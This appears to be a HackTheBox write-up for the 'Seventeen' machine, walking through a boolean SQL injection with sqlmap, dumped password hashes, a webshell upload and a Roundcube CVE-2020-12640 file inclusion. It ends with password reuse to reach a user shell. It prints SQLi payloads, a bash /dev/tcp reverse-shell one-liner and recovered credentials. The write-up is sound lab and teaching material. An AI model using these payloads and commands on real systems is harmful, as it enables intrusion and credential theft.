Seventeen presented a bunch of virtual hosts, each of which added some piece to eventually land execution. The exam site has a boolean-based SQL injection, which provides access to the database, which leaks another virtual host and it’s DB. The oldmanagement system provides file upload, and leaks the hostname of a Roundcube webmail instance. I’ll upload a webshell and exploit CVE-2020-12640 in Roundcube to include it and get execution. There’s two pivots of password reuse, before getting root by installing a malicious Node module from a rogue NPM server. In Beyond Root, I’ll look at why root uses the .npmrc file from kavi’s home directory and unintended bypassing the htaccess file for webshell execution.

Box Info

Name Seventeen Seventeen
Play on HackTheBox
Release Date 28 May 2022
Retire Date 24 Sep 2022
OS Linux Linux
Base Points Hard [40]
Rated Difficulty Rated difficulty for Seventeen
Radar Graph Radar chart for Seventeen
First Blood User 01:33:41xct
First Blood Root 02:02:05snowscan
Creator kavigihan



nmap finds three open TCP ports, SSH (22) and HTTP (80, 8000):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2022-09-21 20:39 UTC
Nmap scan report for seventeen.htb (
Host is up (0.088s latency).
Not shown: 65532 closed ports
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 7.39 seconds
oxdf@hacky$ nmap -p 22,80,8000 -sCV
Starting Nmap 7.80 ( ) at 2022-09-21 20:39 UTC
Nmap scan report for seventeen.htb (
Host is up (0.086s latency).

22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2e:b2:6e:bb:92:7d:5e:6b:36:93:17:1a:82:09:e4:64 (RSA)
|   256 1f:57:c6:53:fc:2d:8b:51:7d:30:42:02:a4:d6:5f:44 (ECDSA)
|_  256 d5:a5:36:38:19:fe:0d:67:79:16:e6:da:17:91:eb:ad (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Let's begin your education with us! 
8000/tcp open  http    Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
Service Info: Host:; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 15.00 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 18.04 bionic.

Website - TCP 80


The site is for an education support company:

At the top left corner it says seventeen.htb. I’ll add that to my /etc/hosts file, but the site seems the same visited by IP or domain name.

Tech Stack

The root page loads as index.html, so no hint there as to the technologies behind the site.

The HTTP response headers don’t show much either:

HTTP/1.1 200 OK
Date: Wed, 21 Sep 2022 20:42:54 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Sun, 10 Apr 2022 05:31:57 GMT
ETag: "50d1-5dc46256b75a0-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 20689
Connection: close
Content-Type: text/html

Directory Brute Force

I’ll run feroxbuster against the site, but it doesn’t find anything interesting:

oxdf@hacky$ feroxbuster -u http://seventeen.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.1
 🎯  Target Url            │ http://seventeen.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.1
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🏁  Press [ENTER] to use the Scan Management Menu™
301      GET        9l       28w      315c http://seventeen.htb/images => http://seventeen.htb/images/
301      GET        9l       28w      311c http://seventeen.htb/js => http://seventeen.htb/js/
301      GET        9l       28w      312c http://seventeen.htb/css => http://seventeen.htb/css/
200      GET      532l     1547w    20689c http://seventeen.htb/
301      GET        9l       28w      314c http://seventeen.htb/fonts => http://seventeen.htb/fonts/
403      GET        9l       28w      278c http://seventeen.htb/server-status
[####################] - 1m    180000/180000  0s      found:6       errors:4      
[####################] - 59s    30000/30000   502/s   http://seventeen.htb 
[####################] - 0s     30000/30000   0/s     http://seventeen.htb/images => Directory listing (add -e to scan)
[####################] - 0s     30000/30000   0/s     http://seventeen.htb/js => Directory listing (add -e to scan)
[####################] - 0s     30000/30000   0/s     http://seventeen.htb/css => Directory listing (add -e to scan)
[####################] - 59s    30000/30000   502/s   http://seventeen.htb/ 
[####################] - 0s     30000/30000   0/s     http://seventeen.htb/fonts => Directory listing (add -e to scan)

Website - TCP 8000


The site on 8000 returns 403 Forbidden:


It responds the same way by IP as well.

Directory Brute Force

Directory brute force doesn’t find anything here except for the Apache server status page (which is 403, can’t access):

oxdf@hacky$ feroxbuster -u http://seventeen.htb:8000 

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.1
 🎯  Target Url            │ http://seventeen.htb:8000
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.1
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🏁  Press [ENTER] to use the Scan Management Menu™
403      GET        9l       28w      280c http://seventeen.htb:8000/
403      GET        9l       28w      280c http://seventeen.htb:8000/server-status
[####################] - 1m     60000/60000   0s      found:2       errors:0      
[####################] - 59s    30000/30000   501/s   http://seventeen.htb:8000 
[####################] - 55s    30000/30000   543/s   http://seventeen.htb:8000/ 

VHost Fuzz

Given the use of domain names, I’ll use wfuzz to look for any virtual host routing:

oxdf@hacky$ wfuzz -u http://seventeen.htb -H "Host: FUZZ.seventeen.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hh 20689
* Wfuzz 2.4.5 - The Web Fuzzer                         *

Target: http://seventeen.htb/
Total requests: 19966

ID           Response   Lines    Word     Chars       Payload

000000689:   400        10 L     35 W     301 Ch      "gc._msdcs"
000001013:   200        347 L    991 W    17375 Ch    "exam"
000009532:   400        10 L     35 W     301 Ch      "#www"
000010581:   400        10 L     35 W     301 Ch      "#mail"
000019834:   400        10 L     35 W     301 Ch      "_domainkey"

Total time: 219.1718
Processed Requests: 19966
Filtered Requests: 19961
Requests/sec.: 91.09748

The 400 errors on subdomains with special characters are not interesting, but exam is interesting.



This site hosts the Exam Management System:


Clicking the “admin” link goes to /admin/login.php, which just pops a message box:


The response is literally just that:

HTTP/1.1 200 OK
Date: Tue, 03 May 2022 21:04:32 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Content-Length: 48
Content-Type: text/html; charset=UTF-8
Connection: close

<script>alert("Admin login disabled!");</script>

The “Exams” link leads to /?p=exams, a common PHP URL format where this includes the page exams.php. It has a search bar, but I can’t get it to submit anything:


“About Us” (/?p=about) has some basic text, but nothing interesting.

Tech Stack

index.php does load the main page here, so the site is PHP. It’s in the X-Powered-By header as well:

HTTP/1.1 200 OK
Date: Tue, 03 May 2022 21:17:16 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 17418
Content-Type: text/html; charset=UTF-8
Connection: close

Directory Brute Force

The directory brute force on this page finds a bunch of stuff, but nothing too unexpected or anything I can do anything with now:

oxdf@hacky$ feroxbuster -u http://exam.seventeen.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.1
 🎯  Target Url            │ http://exam.seventeen.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.1
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🏁  Press [ENTER] to use the Scan Management Menu™
301      GET        9l       28w      311c http://exam.seventeen.htb/inc => http://exam.seventeen.htb/inc/
301      GET        9l       28w      313c http://exam.seventeen.htb/admin => http://exam.seventeen.htb/admin/
301      GET        9l       28w      315c http://exam.seventeen.htb/uploads => http://exam.seventeen.htb/uploads/
301      GET        9l       28w      317c http://exam.seventeen.htb/admin/inc => http://exam.seventeen.htb/admin/inc/
301      GET        9l       28w      314c http://exam.seventeen.htb/assets => http://exam.seventeen.htb/assets/
301      GET        9l       28w      317c http://exam.seventeen.htb/assets/js => http://exam.seventeen.htb/assets/js/
301      GET        9l       28w      318c http://exam.seventeen.htb/assets/css => http://exam.seventeen.htb/assets/css/
200      GET      348l      991w        0c http://exam.seventeen.htb/
301      GET        9l       28w      316c http://exam.seventeen.htb/database => http://exam.seventeen.htb/database/
301      GET        9l       28w      315c http://exam.seventeen.htb/plugins => http://exam.seventeen.htb/plugins/
301      GET        9l       28w      315c http://exam.seventeen.htb/classes => http://exam.seventeen.htb/classes/
301      GET        9l       28w      312c http://exam.seventeen.htb/libs => http://exam.seventeen.htb/libs/
301      GET        9l       28w      321c http://exam.seventeen.htb/admin/plugins => http://exam.seventeen.htb/admin/plugins/
301      GET        9l       28w      318c http://exam.seventeen.htb/admin/user => http://exam.seventeen.htb/admin/user/
301      GET        9l       28w      313c http://exam.seventeen.htb/build => http://exam.seventeen.htb/build/
301      GET        9l       28w      312c http://exam.seventeen.htb/dist => http://exam.seventeen.htb/dist/
301      GET        9l       28w      324c http://exam.seventeen.htb/admin/categories => http://exam.seventeen.htb/admin/categories/
301      GET        9l       28w      322c http://exam.seventeen.htb/plugins/jquery => http://exam.seventeen.htb/plugins/jquery/
301      GET        9l       28w      328c http://exam.seventeen.htb/admin/plugins/jquery => http://exam.seventeen.htb/admin/plugins/jquery/
301      GET        9l       28w      318c http://exam.seventeen.htb/admin/dist => http://exam.seventeen.htb/admin/dist/
301      GET        9l       28w      321c http://exam.seventeen.htb/admin/dist/js => http://exam.seventeen.htb/admin/dist/js/
301      GET        9l       28w      322c http://exam.seventeen.htb/admin/dist/css => http://exam.seventeen.htb/admin/dist/css/
301      GET        9l       28w      322c http://exam.seventeen.htb/admin/dist/img => http://exam.seventeen.htb/admin/dist/img/
301      GET        9l       28w      320c http://exam.seventeen.htb/build/config => http://exam.seventeen.htb/build/config/
301      GET        9l       28w      327c http://exam.seventeen.htb/admin/dist/js/pages => http://exam.seventeen.htb/admin/dist/js/pages/
301      GET        9l       28w      322c http://exam.seventeen.htb/plugins/popper => http://exam.seventeen.htb/plugins/popper/

Shell as www-data [docker]

SQL Injection

Identify Vulnerability

searchsploit shows four vulnerabilities across two software that might fit this application:

oxdf@hacky$ searchsploit exam management system
------------------------------------------------- ---------------------------------
 Exploit Title                                   |  Path
------------------------------------------------- ---------------------------------
Exam Hall Management System 1.0 - Unrestricted F | php/webapps/50103.php
Exam Hall Management System 1.0 - Unrestricted F | php/webapps/
Exam Reviewer Management System 1.0 - Remote Cod | php/webapps/50726.txt
Exam Reviewer Management System 1.0 - ‘id’ S | php/webapps/50725.txt
------------------------------------------------- ---------------------------------
Shellcodes: No Results

When looking at these to see if either matches Seventeen, I’ll compare the URL structure to the URLs from feroxbuster above. The first two point to /pages/save_user.php. I couldn’t find any page like that on the server. The second two target /erms/classes/Users.php and /erms/?p=take_exam&id=1. Those look like URLs I’ve already seen (without the /erms).

50726 is a authenticated RCE. As I don’t have creds, I’ll forucs on the next one.

50725 is a boolean-based blind SQL injection.

SQL Injection

The POC is:

p=take_exam&id=1' AND 4755=4755 AND 'VHNu'='VHNu

Visiting the URL returns a page:


If I replace 4755=4755 with 4755=4756:


This page actually has the following tacked on at the end of the HTML:

<script> alert("Unkown Exam ID"); location.replace("./");</script>

Given the different behaviors based on if the condition in the middle is equal or not, this is a boolean-based SQL injection.


I’ll give sqlmap the URL, as well as --technique B (for boolean-based) and -p id to tell it which parameter to work on.

oxdf@hacky$ sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch
[14:05:35] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=844b4ad6133...45b2d7d69c'). Do you want to use those [Y/n] Y
[14:05:35] [INFO] checking if the target is protected by some kind of WAF/IPS
[14:05:36] [INFO] testing if the target URL content is stable
[14:05:36] [INFO] target URL content is stable
[14:05:36] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[14:05:36] [INFO] testing for SQL injection on GET parameter 'id'
[14:05:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:05:38] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="This")
[14:05:40] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[14:05:40] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 39 HTTP(s) requests:
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: p=take_exam&id=1' AND 5630=5630 AND 'cpfT'='cpfT
[14:05:41] [INFO] testing MySQL
[14:05:41] [INFO] confirming MySQL
[14:05:41] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0

It found the injection and I can now ask it questions.

Access SFMS

DB Enumeration

I’ll list the DBs with --dbs (I’ll also add --batch to choose default answers to any prompts, and threads are safe because it’s boolean, not time-based):

oxdf@hacky$ sqlmap --dbs -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10
available databases [4]:
[*] db_sfms
[*] erms_db
[*] information_schema
[*] roundcubedb

information_schema is the internal MySQL stuff. roundcube is a webmail service (which I haven’t seen yet). erms_db is likely the DB for Exam Management. I have no idea what db_sfms is.


I’ll start with erms_db. It has six tables:

oxdf@hacky$ sqlmap -D erms_db --tables -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10
Database: erms_db
[6 tables]
| category_list |
| exam_list     |
| option_list   |
| question_list |
| system_info   |
| users         |

I’ll dump the users table:

oxdf@hacky$ sqlmap -D erms_db -T users --dump -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10
Database: erms_db
Table: users
[3 entries]
| id | type | avatar                            | lastname | password                         | username         | firstname    | date_added          | last_login | date_updated        |
| 1  | 1    | ../oldmanagement/files/avatar.png | Admin    | fc8ec7b43523e186a27f46957818391c | admin            | Adminstrator | 2021-01-20 14:02:37 | NULL       | 2022-02-24 22:00:15 |
| 6  | 2    | ../oldmanagement/files/avatar.png | Anthony  | 48bb86d036bb993dfdcf7fefdc60cc06 | UndetectableMark | Mark         | 2021-09-30 16:34:02 | NULL       | 2022-05-10 08:21:39 |
| 7  | 2    | ../oldmanagement/files/avatar.png | Smith    | 184fe92824bea12486ae9a56050228ee | Stev1992         | Steven       | 2022-02-22 21:05:07 | NULL       | 2022-02-24 22:00:24 |

There’s three users, each with what look like MD5 hashes for the password. CrackStation doesn’t crack any of them.

There’s also paths to the users’ avatars. They each start with ../oldmanagement/files/.

New VHost

There’s a couple databases that I can’t associate with an application at this point. Thinking about how web servers are typically setup, various hosts each have a folder in /var/www/. So if ERMS is running out of something like /var/www/emrs, then the avatars are linked back to /var/www/oldmanagement, which suggests that might be a different virtual host. It’s worth a try - adding oldmanagement.seventeen.htb to /etc/hosts and visiting in Firefox loads a new login form:


Surprisingly, there are no exploits in searchsploit for this.

Interestingly, the request does redirect to http://oldmanagement.seventeen.htb:8000/oldmanagement/. So this app is actually hosted on port 8000.


I couldn’t find a way to past that Login form, but I do have access to the db_sfms via the SQL injection, which turns out to be related to this page:

oxdf@hacky$ sqlmap -D db_sfms --tables -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10
Database: db_sfms
[3 tables]
| storage |
| user    |
| student |

I’ll dump the tables. user is interesting since I’m trying to log in:

oxdf@hacky$ sqlmap -D db_sfms -T user --dump -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10
Database: db_sfms
Table: user
[3 entries]
| user_id | status        | lastname      | username         | firstname     | password                         |
| 1       | administrator | Administrator | admin            | Administrator | fc8ec7b43523e186a27f46957818391c |
| 2       | Regular       | Anthony       | UndetectableMark | Mark          | b35e311c80075c4916935cbbbd770cef |
| 4       | Regular       | Smith         | Stev1992         | Steven        | 112dd9d08abf9dcceec8bc6d3e26b138 |

Each user has an MD5 hash as their password. Admin and Mark share their passwords from ERMS. Still, to log in, I need a student number and a password, which isn’t what’s in this table.

The student table has what I’m looking for:

oxdf@hacky$ sqlmap -D db_sfms -T student --dump -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10
Database: db_sfms
Table: student
[4 entries]
| stud_id | yr | gender | stud_no | lastname | password                                           | firstname |
| 1       | 1A | Male   | 12345   | Smith    | 1a40620f9a4ed6cb8d81a1d365559233                   | John      |
| 2       | 2B | Male   | 23347   | Mille    | abb635c915b0cc296e071e8d76e9060c                   | James     |
| 3       | 2C | Female | 31234   | Shane    | a2afa567b1efdb42d8966353337d9024 (autodestruction) | Kelly     |
| 4       | 3C | Female | 43347   | Hales    | a1428092eb55781de5eb4fd5e2ceb835                   | Jamie     |

Kelly Shane’s password breaks in CrackStation:


At the School File Management System, logging in with 31234 and “autodestruction” works.


School File Management System

Logged in as Kelly, the application looks like a single page app, an instance of School File Management System:


On the left is a list of files associated with Kelly’s account. On the right is the ability to upload more. I uploaded a PHP webshell, and it allowed it:


But there’s no way to interact with it, at least not at the moment. “Download” will save a copy to my system. I’ll show an unintended way to get a shell abusing this upload in Beyond Root. I’ll note the upload ability, and come back to this later.

I’ll download the one document that was there. It’s a grade sheet or report card:


On the second page, there’s text:

Dear Kelly, Hello! Congratulations on the good grades. Your hard work has paid off! But I do want to point out that you are lacking marks in Science. All the other subjects are perfectly fine and acceptable. But you do have to work on your knowledge in Science related areas. Mr. Sam, your science teacher has mentioned to me that you are lacking in the Physics section specifically. So we thought maybe we could work on those skills by organizing some extra classes. Some other colleagues of yours have already agreed to this and are willing to attend the study sessions at night. Please let Mr. Sam know the exact time when you can participate in the sessions. And he wanted you to know that he won’t be active thorough the socials these days. You can use our new webmail service instead. (https://mastermailer.seventeen.htb/) Original resource by Seventeen TLC

Thanks, Mr.StevenBanks TIC Also, your request to add the past papers to the file management application was acknowledged by the server management staff. They informed that those were stored and will be available for you to download shortly.

I’ll add the new “webmail service” vhost to my /etc/hosts file.


The new domain is an instance of Roundcube:


If I hadn’t of recognized the logo, it’s in the HTML source:


There are a couple method to get there Roundcuber version. /CHANGELOG loads the Change Log, which shows the release at the top:


The note also says it was “recently installed” and the note was uploaded in January 2020:


Looking a the Roundcube GitHub releases page, the release of 1.4.2 was on 1 January 2020:


I’ll also note that the GET to mastermailer.seventeen.htb actually redirects to mastermailer.seventeen.htb:8000/mastermailer. Just like SFMS, it seems this is running on the port 8000 service.

Identify Exploits

searchsploit doesn’t show any vulnerabilities in this version or anything after it. Some Googling shows there are several CVEs from 2020. Most are XSS (which likely involves sending email to users, which I can’t do at the moment).

CVE-2020-12641 is RCE, abusing the Roundcube installer. But this page show I still need to be able to send an email to a user.

CVE-2020-12640 is very similar, using a local file include (LFI) to include a webshell. This page (from the same author as the previous) gives good detail, although from a different perspective. It says:

In this case, in order to simplify the PoC, we consider the attacker to have SSH access as a low privileged user and write the files to “/dev/shm”.

Then it uses this bug to include a webshell it writes in /dev/shm. I don’t have access to write a file via a shell, but I can write files with the School File Management System.


I’ll start by loading the installer on Roundcube at http://mastermailer.seventeen.htb:8000/mastermailer/installer:

I’ll click on the link to “Create config”:

This form has a ton of fields. I’ll submit this through Burp and intercept the request. The POST request matches the POC. I’ll modify the request to look like the POC. I can hack out a bunch of the stuff that I’m not trying to change, and it’ll look like this:

POST /mastermailer/installer/index.php HTTP/1.1
Host: mastermailer.seventeen.htb:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Origin: http://mastermailer.seventeen.htb:8000
Connection: close
Referer: http://mastermailer.seventeen.htb:8000/mastermailer/installer/index.php?_step=2
Cookie: PHPSESSID=2f367f87a86cd958ab11dcad63499bf2
Upgrade-Insecure-Requests: 1

_step=2&_product_name=Seventeen+Webmail&submit=UPDATE+CONFIG&_plugins_qwerty=[path here]

Unfortunately, finding a reasonable path is difficult. Looking at the POC, it creates a /dev/shm/zipdownload and a file /dev/shm/zipdownload.php. The page then tries to load "/var/www/html/roundcube/plugins/../../../../../../dev/shm/zipdownload/../../../../../../dev/shm/zipdownload.php. That only works because both the folder zipdownload and the file zipdownload.php exist. I need a place on Seventeen that allows me to match that structure.

Find Upload Path

I’ve already been working on the theory that the SFMS is hosted out of /var/www/oldmanagement. Hovering over the download link for the file I uploaded earlier, it points to download.php?store_id=35.

I’ll download the SFMS source and take a look at how it saves and downloads files. After unzipping the download, the base files are:

oxdf@hacky$ ls
admin  download.php  index.php  login_query.php  remove_file.php  script.php           student_update.php  validator.php
db     files         login.php  logout.php       save_file.php    student_profile.php  update_query.php

download.php is very simple:

    require_once 'admin/conn.php';
        $store_id = $_REQUEST['store_id'];

        $query = mysqli_query($conn, "SELECT * FROM `storage` WHERE `store_id` = '$store_id'") or die(mysqli_error());
        $fetch  = mysqli_fetch_array($query);
        $filename = $fetch['filename'];
        $stud_no = $fetch['stud_no'];
        header("Content-Disposition: attachment; filename=".$filename);
        header("Content-Type: application/octet-stream;");

It fetches a row from the storage table of the database, and gets the filename from the result. It returns readfile(files/[stud_no]/[filename]).

So it should be at /var/www/oldmanagement/files/31234/0xdf.php.

I still need a directory to sit next to my upload. download.php uses the store_id to get the path, but perhaps I can access /files/31234 directly:

oxdf@hacky$ curl http://oldmanagement.seventeen.htb:8000/oldmanagement/files/31234/
<title>403 Forbidden</title>
<p>You don't have permission to access this resource.</p>
<address>Apache/2.4.38 (Debian) Server at oldmanagement.seventeen.htb Port 8000</address>
oxdf@hacky$ curl http://oldmanagement.seventeen.htb:8000/oldmanagement/files/31235/
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<address>Apache/2.4.38 (Debian) Server at oldmanagement.seventeen.htb Port 8000</address>

It returns a 403 Forbidden on the folder I know exists ( /31234) and a 404 Not Found on the one I don’t think exists (/31235). That’s a good sign that’s the right path, even if I can’t access it directly.

Running feroxbuster in this folder finds a papers directory!

oxdf@hacky$ feroxbuster -u http://oldmanagement.seventeen.htb:8000/oldmanagement/files/31234/

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.5.0
 🎯  Target Url            │ http://oldmanagement.seventeen.htb:8000/oldmanagement/files/31234/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.5.0
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │
 🏁  Press [ENTER] to use the Scan Management Menu™
301      GET        9l       28w      376c http://oldmanagement.seventeen.htb:8000/oldmanagement/files/31234/papers => http://oldmanagement.seventeen.htb:8000/oldmanagement/files/31234/papers/
[####################] - 1m     59998/59998   0s      found:1       errors:1      
[####################] - 58s    29999/29999   511/s   http://oldmanagement.seventeen.htb:8000/oldmanagement/files/31234/ 
[####################] - 56s    29999/29999   532/s   http://oldmanagement.seventeen.htb:8000/oldmanagement/files/31234/papers


Putting that all together, I’ll first upload a simple PHP reverse shell as papers.php:

<?php system("bash -c 'bash -i >& /dev/tcp/ 0>&1'"); ?>

This will put it at [somepath]/oldmanagement/files/31234/papers.php. I can take a guess that [somepath] is either /var/www or maybe /var/www/html (it’s the latter). So a payload like this works:


On sending, it reports that it saved the config:

image-20220504155844870Click for full size image

Now on loading any Roundcube page, it generates a reverse shell:

oxdf@hacky$ nc -lnvp 443
Listening on 443
Connection received on 50750
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

I’ll do a shell upgrade:

www-data@1a447de8638b:/var/www/html/mastermailer$ script /dev/null -c bash
Script started, file is /dev/null
www-data@1a447de8638b:/var/www/html/mastermailer$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo ; fg
nc -lnvp 443
reset: unknown terminal type unknown
Terminal type? screen

Shell as mark [seventeen]



It’s clear that I’m in a Docker container. The hostname is 1a447de8638b and not something related to the box name. There’s a .dockerenv file in /:

www-data@3c0f9fd0f60d:/$ ls -la .dockerenv 
-rwxr-xr-x 1 root root 0 Apr  8 18:55 .dockerenv

Very few commands are on the host. No ifconfig , ip, etc.


There are no directories in /home. Interestingly, there is one user with a shell:

www-data@3c0f9fd0f60d:/$ cat /etc/passwd | grep -v -e nologin -e false


Hunting for creds, there are three websites in /var/www/html:

www-data@3c0f9fd0f60d:/var/www/html$ ls
employeemanagementsystem  mastermailer  oldmanagement

Starting with ems, there’s a bunch of PHP scripts:

www-data@3c0f9fd0f60d:/var/www/html/employeemanagementsystem$ ls
aboutus.html    alogin.html     approve.php  assignproject.php  contact.html  delete.php   eloginwel.php   hero-banner.png  mark.php         process      reset.php      styleapply.css     stylelogin.css    vendor
addemp.php      aloginwel.php   assets       cancel.php         css           edit.php     empleave.php    index.html       myprofile.php    psubmit.php  salaryemp.php  styleemplogin.css  styleprofile.css  viewemp.php
adminstyle.css  applyleave.php  assign.php   changepassemp.php  db            elogin.html  empproject.php  js               myprofileup.php  readme.txt   style.css      styleindex.css     styleview.css

To find how it’s connecting to the DB, I’ll look at the top of one of the files. For example, edit.php:


require_once ('process/dbh.php');
$sql = "SELECT * FROM `employee` WHERE 1";

//echo "$sql";
$result = mysqli_query($conn, $sql);

That suggests the connection is likely in process/dbh.php, and it is:


$servername = "localhost";
$dBUsername = "root";
$dbPassword = "2020bestyearofmylife";
$dBName = "ems";

$conn = mysqli_connect($servername, $dBUsername, $dbPassword, $dBName);

        echo "Databese Connection Failed";


I’ll note “2020bestyearofmylife”.

In mastermailer/config/ I’ll find this connection string:

$config['db_dsnw'] = 'mysql://mysqluser:mysqlpassword@';

“mysqlpassword” is another password.

In oldmanagement/admin/conn.php there’s another connection, using the same creds:

        $conn = mysqli_connect("", "mysqluser", "mysqlpassword", "db_sfms");

                die("Error: Failed to connect to database!");

        $default_query = mysqli_query($conn, "SELECT * FROM `user`") or die(mysqli_error());
        $check_default = mysqli_num_rows($default_query);

        if($check_default === 0){
                $enrypted_password = md5('admin');
                mysqli_query($conn, "INSERT INTO `user` VALUES('', 'Administrator', '', 'admin', '$enrypted_password', 'administrator')") or die(mysqli_error());
                return false;


It turns out that the creds from the ems DB also work as mark’s password over SSH into the host:

oxdf@hacky$ sshpass -p '2020bestyearofmylife' ssh mark@seventeen.htb

And read user.txt:

mark@seventeen:~$ cat user.txt

Shell as kavi


mark’s Home Dir

There’s not much in mark’s home dir:

mark@seventeen:~$ ls -la
total 36
drwxr-x---  5 mark mark 4096 May 11 11:54 .
drwxr-xr-x  4 root root 4096 Apr  8 19:06 ..
lrwxrwxrwx  1 mark mark    9 Apr 10 03:17 .bash_history -> /dev/null
-rw-r--r--  1 mark mark  220 Apr  8 19:06 .bash_logout
-rw-r--r--  1 mark mark 3771 Apr  8 19:06 .bashrc
drwx------  2 mark mark 4096 Apr  8 19:26 .cache
drwx------  3 mark mark 4096 Apr  8 19:26 .gnupg
drwxrwxr-x 16 mark mark 4096 Apr  8 19:35 .npm
-rw-r--r--  1 mark mark  807 Apr  8 19:06 .profile
-rw-r-----  1 root mark   33 Apr 10 18:00 user.txt

I will note a .npm directory. NPM is the Node Package Manager. There’s a handful of modules installed, as well as a directory:

mark@seventeen:~$ ls .npm/  db-logger  _locks                readable-stream  string_decoder
bignumber.js    inherits   mysql                 safe-buffer      util-deprecate
core-util-is    isarray    process-nextick-args  sqlstring

kavi’s Home Dir / Mail

There’s a second home directory on the box, kavi, that mark can’t access:

mark@seventeen:/home$ ls
kavi  mark
mark@seventeen:/home$ cd kavi/
-bash: cd: kavi/: Permission denied

There is mail for kavi in /var/mail:

To: kavi@seventeen.htb
From: admin@seventeen.htb
Subject: New staff manager application

Hello Kavishka,

Sorry I couldn't reach you sooner. Good job with the design. I loved it. 

